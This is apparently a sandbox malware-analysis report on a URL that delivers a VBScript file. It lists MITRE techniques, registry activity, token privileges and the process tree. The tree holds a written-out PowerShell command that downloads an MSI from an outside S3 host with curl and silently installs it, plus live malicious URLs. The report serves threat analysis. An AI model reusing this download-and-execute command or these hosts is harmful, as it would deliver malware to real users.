hxxps://stilles-oertchen[.]de/HomeWell/download[.]html

Analysis

user interaction
yes
max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
28/07/2026, 01:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://stilles-oertchen.de/HomeWell/download.html
Sample260728-byfmmsed64

Score

7^/10

discovery execution ransomware

Malware Config

Signatures

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs

execution

Visual Basic

T1059.005

pid	Process
2900	WScript.exe
4152	WScript.exe
4740	WScript.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2952	powershell.exe
1884	powershell.exe
360	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4488	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134296759837394187"	msedge.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2370214745-1838013427-2987045292-1000\{AA027AEA-574C-4245-B482-6EBD3393CDB9}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings	msedge.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
812	Notepad.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1884	powershell.exe
1884	powershell.exe
1884	powershell.exe
360	powershell.exe
360	powershell.exe
360	powershell.exe
2952	powershell.exe
2952	powershell.exe
2952	powershell.exe
824	msedge.exe
824	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeShutdownPrivilege	3232	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3232	msiexec.exe
Token: SeSecurityPrivilege	4192	msiexec.exe
Token: SeCreateTokenPrivilege	3232	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3232	msiexec.exe
Token: SeLockMemoryPrivilege	3232	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3232	msiexec.exe
Token: SeMachineAccountPrivilege	3232	msiexec.exe
Token: SeTcbPrivilege	3232	msiexec.exe
Token: SeSecurityPrivilege	3232	msiexec.exe
Token: SeTakeOwnershipPrivilege	3232	msiexec.exe
Token: SeLoadDriverPrivilege	3232	msiexec.exe
Token: SeSystemProfilePrivilege	3232	msiexec.exe
Token: SeSystemtimePrivilege	3232	msiexec.exe
Token: SeProfSingleProcessPrivilege	3232	msiexec.exe
Token: SeIncBasePriorityPrivilege	3232	msiexec.exe
Token: SeCreatePagefilePrivilege	3232	msiexec.exe
Token: SeCreatePermanentPrivilege	3232	msiexec.exe
Token: SeBackupPrivilege	3232	msiexec.exe
Token: SeRestorePrivilege	3232	msiexec.exe
Token: SeShutdownPrivilege	3232	msiexec.exe
Token: SeDebugPrivilege	3232	msiexec.exe
Token: SeAuditPrivilege	3232	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3232	msiexec.exe
Token: SeChangeNotifyPrivilege	3232	msiexec.exe
Token: SeRemoteShutdownPrivilege	3232	msiexec.exe
Token: SeUndockPrivilege	3232	msiexec.exe
Token: SeSyncAgentPrivilege	3232	msiexec.exe
Token: SeEnableDelegationPrivilege	3232	msiexec.exe
Token: SeManageVolumePrivilege	3232	msiexec.exe
Token: SeImpersonatePrivilege	3232	msiexec.exe
Token: SeCreateGlobalPrivilege	3232	msiexec.exe
Token: SeDebugPrivilege	360	powershell.exe
Token: SeShutdownPrivilege	3200	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3200	msiexec.exe
Token: SeCreateTokenPrivilege	3200	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3200	msiexec.exe
Token: SeLockMemoryPrivilege	3200	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3200	msiexec.exe
Token: SeMachineAccountPrivilege	3200	msiexec.exe
Token: SeTcbPrivilege	3200	msiexec.exe
Token: SeSecurityPrivilege	3200	msiexec.exe
Token: SeTakeOwnershipPrivilege	3200	msiexec.exe
Token: SeLoadDriverPrivilege	3200	msiexec.exe
Token: SeSystemProfilePrivilege	3200	msiexec.exe
Token: SeSystemtimePrivilege	3200	msiexec.exe
Token: SeProfSingleProcessPrivilege	3200	msiexec.exe
Token: SeIncBasePriorityPrivilege	3200	msiexec.exe
Token: SeCreatePagefilePrivilege	3200	msiexec.exe
Token: SeCreatePermanentPrivilege	3200	msiexec.exe
Token: SeBackupPrivilege	3200	msiexec.exe
Token: SeRestorePrivilege	3200	msiexec.exe
Token: SeShutdownPrivilege	3200	msiexec.exe
Token: SeDebugPrivilege	3200	msiexec.exe
Token: SeAuditPrivilege	3200	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3200	msiexec.exe
Token: SeChangeNotifyPrivilege	3200	msiexec.exe
Token: SeRemoteShutdownPrivilege	3200	msiexec.exe
Token: SeUndockPrivilege	3200	msiexec.exe
Token: SeSyncAgentPrivilege	3200	msiexec.exe
Token: SeEnableDelegationPrivilege	3200	msiexec.exe
Token: SeManageVolumePrivilege	3200	msiexec.exe
Token: SeImpersonatePrivilege	3200	msiexec.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe
1412	msedge.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 1412 wrote to memory of 2408	1412	msedge.exe	84
PID 1412 wrote to memory of 4488	1412	msedge.exe	86
PID 1412 wrote to memory of 3248	1412	msedge.exe	87
PID 1412 wrote to memory of 3248	1412	msedge.exe	87
PID 1412 wrote to memory of 3248	1412	msedge.exe	87
PID 1412 wrote to memory of 4784	1412	msedge.exe	88
PID 1412 wrote to memory of 4784	1412	msedge.exe	88
PID 1412 wrote to memory of 4544	1412	msedge.exe	89
PID 1412 wrote to memory of 4544	1412	msedge.exe	89
PID 1412 wrote to memory of 4544	1412	msedge.exe	89
PID 1412 wrote to memory of 1932	1412	msedge.exe	90
PID 1412 wrote to memory of 1932	1412	msedge.exe	90
PID 1412 wrote to memory of 1932	1412	msedge.exe	90
PID 1412 wrote to memory of 2128	1412	msedge.exe	91
PID 1412 wrote to memory of 2128	1412	msedge.exe	91
PID 1412 wrote to memory of 2128	1412	msedge.exe	91
PID 1412 wrote to memory of 3108	1412	msedge.exe	92
PID 1412 wrote to memory of 3108	1412	msedge.exe	92
PID 1412 wrote to memory of 3108	1412	msedge.exe	92
PID 1412 wrote to memory of 3720	1412	msedge.exe	96
PID 1412 wrote to memory of 3720	1412	msedge.exe	96
PID 1412 wrote to memory of 3264	1412	msedge.exe	97
PID 1412 wrote to memory of 3264	1412	msedge.exe	97
PID 1412 wrote to memory of 3716	1412	msedge.exe	99
PID 1412 wrote to memory of 4356	1412	msedge.exe	109
PID 1412 wrote to memory of 4356	1412	msedge.exe	109
PID 1412 wrote to memory of 4356	1412	msedge.exe	109
PID 1412 wrote to memory of 3572	1412	msedge.exe	110
PID 1412 wrote to memory of 3572	1412	msedge.exe	110
PID 1412 wrote to memory of 3572	1412	msedge.exe	110
PID 1412 wrote to memory of 4360	1412	msedge.exe	112
PID 1412 wrote to memory of 3872	1412	msedge.exe	113
PID 1412 wrote to memory of 868	1412	msedge.exe	114
PID 1412 wrote to memory of 812	1412	msedge.exe	116
PID 1412 wrote to memory of 812	1412	msedge.exe	116
PID 1412 wrote to memory of 812	1412	msedge.exe	116
PID 1412 wrote to memory of 2980	1412	msedge.exe	118
PID 1412 wrote to memory of 4660	1412	msedge.exe	117
PID 1412 wrote to memory of 2980	1412	msedge.exe	118
PID 1412 wrote to memory of 4660	1412	msedge.exe	117
PID 1412 wrote to memory of 4660	1412	msedge.exe	117
PID 1412 wrote to memory of 360	1412	msedge.exe	119
PID 1412 wrote to memory of 2900	1412	msedge.exe	120
PID 2900 wrote to memory of 1884	2900	WScript.exe	121
PID 1412 wrote to memory of 2184	1412	msedge.exe	123
PID 1412 wrote to memory of 2184	1412	msedge.exe	123
PID 1884 wrote to memory of 4116	1884	powershell.exe	124
PID 1884 wrote to memory of 3232	1884	powershell.exe	125
PID 1412 wrote to memory of 4152	1412	msedge.exe	127
PID 4152 wrote to memory of 360	4152	WScript.exe	128
PID 360 wrote to memory of 3420	360	powershell.exe	130
PID 360 wrote to memory of 3200	360	powershell.exe	131
PID 4740 wrote to memory of 2952	4740	WScript.exe	134
PID 2952 wrote to memory of 4536	2952	powershell.exe	136
PID 1412 wrote to memory of 824	1412	msedge.exe	141
PID 2952 wrote to memory of 2064	2952	powershell.exe	142

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://stilles-oertchen.de/HomeWell/download.html
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x288,0x7fff9311c188,0x7fff9311c194,0x7fff9311c1a0
  2⤵
  PID:2408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,987083264844668922,9238987138333809067,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=2504 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1728,i,9196818770325520177,4383386988451308627,262144 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:2
  2⤵
  PID:3248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2516,i,941262174435866915,1419013587397708332,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:8
  2⤵
  PID:4784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3436,i,9343426834398176163,12702902480568763453,2097152 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
  2⤵
  PID:4544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3444,i,7537311203264386466,6547387863260076688,2097152 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
  2⤵
  PID:1932
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4244,i,17127052077040551040,17246965613049771525,2097152 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=4252 /prefetch:1
  2⤵
  PID:2128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4384,i,17658246014939666683,9626311690487836636,2097152 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:2
  2⤵
  PID:3108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4900,i,10808887348265614504,266396339544757820,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:8
  2⤵
  PID:3720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4888,i,15319740216757964895,18164915562807481288,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:8
  2⤵
  PID:3264
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5828,i,13199439316391155097,11644598081871625017,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:8
  2⤵
  PID:4148
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5828,i,13199439316391155097,11644598081871625017,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:8
  2⤵
  PID:3716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5060,i,2895949111331191883,16910331445368894279,2097152 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=4388 /prefetch:1
  2⤵
  PID:4356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6268,i,5282596077887777826,12506658656858491258,2097152 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:1
  2⤵
  PID:3572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,7370329119704051609,14450214816597866278,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=560 /prefetch:8
  2⤵
  PID:4360
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6400,i,5797110162750195802,11286315920088940266,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:8
  2⤵
  PID:3872
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,4698365299169700017,3365837264195103122,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=6424 /prefetch:8
  2⤵
  PID:868
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=4488,i,18142174341751630026,3408707702702675775,2097152 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:1
  2⤵
  PID:812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4312,i,1835719491410888507,9830088023977060746,2097152 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=3404 /prefetch:1
  2⤵
  PID:4660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4308,i,15717241589669572420,4922788937850095843,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:8
  2⤵
  PID:2980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6220,i,3523320442514259444,4814269632899466301,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=3116 /prefetch:8
  2⤵
  PID:360
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\HomeWellCareServices.vbs"
  2⤵
  - Checks computer location settings
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {mkdir C:\\Temp -Force 2>$null; curl.exe -L --ssl-no-revoke 'https://s-14billmondy.s3.us-east-2.amazonaws.com/BillyMonday.msi' -o C:\\Temp\\patch.msi; msiexec.exe /i 'C:\\Temp\\patch.msi' /qn /norestart}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1884
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" -L --ssl-no-revoke https://s-14billmondy.s3.us-east-2.amazonaws.com/BillyMonday.msi -o C:\\Temp\\patch.msi
      4⤵
      PID:4116
  - - C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i C:\\Temp\\patch.msi /qn /norestart
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6968,i,11144159109906468093,15611963987224650559,524288 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=6592 /prefetch:8
  2⤵
  PID:2184
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\HomeWellCareServices.vbs"
  2⤵
  - Checks computer location settings
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {mkdir C:\\Temp -Force 2>$null; curl.exe -L --ssl-no-revoke 'https://s-14billmondy.s3.us-east-2.amazonaws.com/BillyMonday.msi' -o C:\\Temp\\patch.msi; msiexec.exe /i 'C:\\Temp\\patch.msi' /qn /norestart}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:360
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" -L --ssl-no-revoke https://s-14billmondy.s3.us-east-2.amazonaws.com/BillyMonday.msi -o C:\\Temp\\patch.msi
      4⤵
      PID:3420
  - - C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe" /i C:\\Temp\\patch.msi /qn /norestart
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7224,i,5009349982714054129,5718544247761110130,262144 --field-trial-handle=2316,i,15847494594693870201,14882419350530339979,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:824

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
